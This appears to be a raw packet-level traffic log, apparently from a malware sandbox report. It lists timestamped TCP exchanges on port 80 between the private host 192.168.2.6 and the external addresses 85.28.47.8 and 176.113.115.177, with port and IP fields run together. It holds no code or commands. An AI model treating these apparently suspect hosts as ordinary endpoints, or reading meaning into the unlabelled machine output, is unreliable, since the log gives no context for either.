                                                              Jul 4, 2024 11:16:18.452923059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452934027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452934980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452946901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452948093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.452960014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.452979088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.453006029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.488325119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488337040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488348961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488382101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.488495111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488508940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488521099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488533020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.488543987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.488562107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.489619017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.489665031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.504975080 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.504985094 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.505002975 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.505039930 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.505059004 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.505070925 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.505083084 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.505111933 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.505137920 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.528211117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528234005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528245926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528290033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528337002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528350115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528362036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528373957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528379917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528402090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528469086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528489113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528501987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528537989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528578997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528592110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528603077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528614998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528626919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528630972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528666973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528724909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528737068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528748035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528865099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528865099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528911114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528923035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528945923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528956890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528964043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.528970957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528983116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.528995037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529004097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529011011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529026031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529035091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529052973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529125929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529181957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529197931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529198885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529237986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529309034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529320955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529331923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529347897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529355049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529360056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529397011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529455900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529468060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529484034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529495001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529504061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529506922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529520035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529531956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529534101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529545069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.529556036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.529577971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.540668011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540687084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540698051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540731907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.540752888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.540785074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540795088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540807009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540818930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540838003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.540868044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.540884972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540899992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540941000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.540952921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540963888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.540977001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541001081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541012049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541042089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541073084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541085005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541121006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541204929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541215897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541229010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541240931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541250944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541290045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541312933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541326046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541368008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541372061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541379929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541408062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541510105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541526079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541538000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541548967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541559935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541589975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541661978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541673899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541686058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541697979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541709900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541738033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541805983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541817904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541827917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541851997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541874886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.541949034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541960955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541971922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.541989088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542000055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542007923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542011976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542023897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542035103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542036057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542047024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542053938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542058945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542078972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542083979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542109966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542296886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542308092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542340040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542464972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542476892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542490959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542500973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542506933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542517900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542529106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542530060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542543888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542556047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542566061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542566061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542581081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542582035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542593002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542603970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542614937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542618990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542628050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.542644978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.542665958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.579623938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579638004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579651117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579700947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.579736948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.579740047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579754114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579766989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579778910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.579853058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.579878092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618240118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618259907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618273020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618326902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618489027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618501902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618514061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618525982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618537903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618541002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618551970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618587971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618638992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618650913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618662119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618674040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618685961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618686914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618697882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618709087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618710995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618724108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618738890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618747950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618752003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618772030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618778944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618794918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.618987083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.618999004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619010925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619020939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619031906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619038105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619044065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619057894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619070053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619071007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619081974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619097948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619110107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619110107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619137049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619152069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619363070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619374990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619385958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619396925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619406939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619414091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619419098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619431973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619441986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619442940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619457006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619462967 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619477987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619478941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619517088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619616985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619620085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619623899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619641066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619652033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.619662046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.619693995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.625288010 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625302076 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625314951 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625351906 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.625499964 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625547886 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.625744104 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625756025 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625767946 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.625790119 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.626029968 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.626705885 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.626749992 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.626765013 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.626805067 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.642600060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642612934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642630100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642661095 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.642684937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.642828941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642841101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642851114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642868996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642882109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642884016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.642894983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642908096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642910004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.642921925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642930984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.642934084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642947912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642959118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.642966986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.642983913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643165112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643177032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643188953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643201113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643209934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643213987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643229008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643235922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643260002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643296957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643342018 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643476963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643496037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643507957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643522024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643532991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643544912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643546104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643557072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643569946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643574953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643580914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643595934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643605947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643610954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643620014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643627882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643634081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643649101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643655062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643691063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643888950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643902063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643913984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643925905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643940926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643942118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.643968105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.643997908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644012928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644023895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644036055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644037962 CEST4972380192.168.2.685.28.47.8
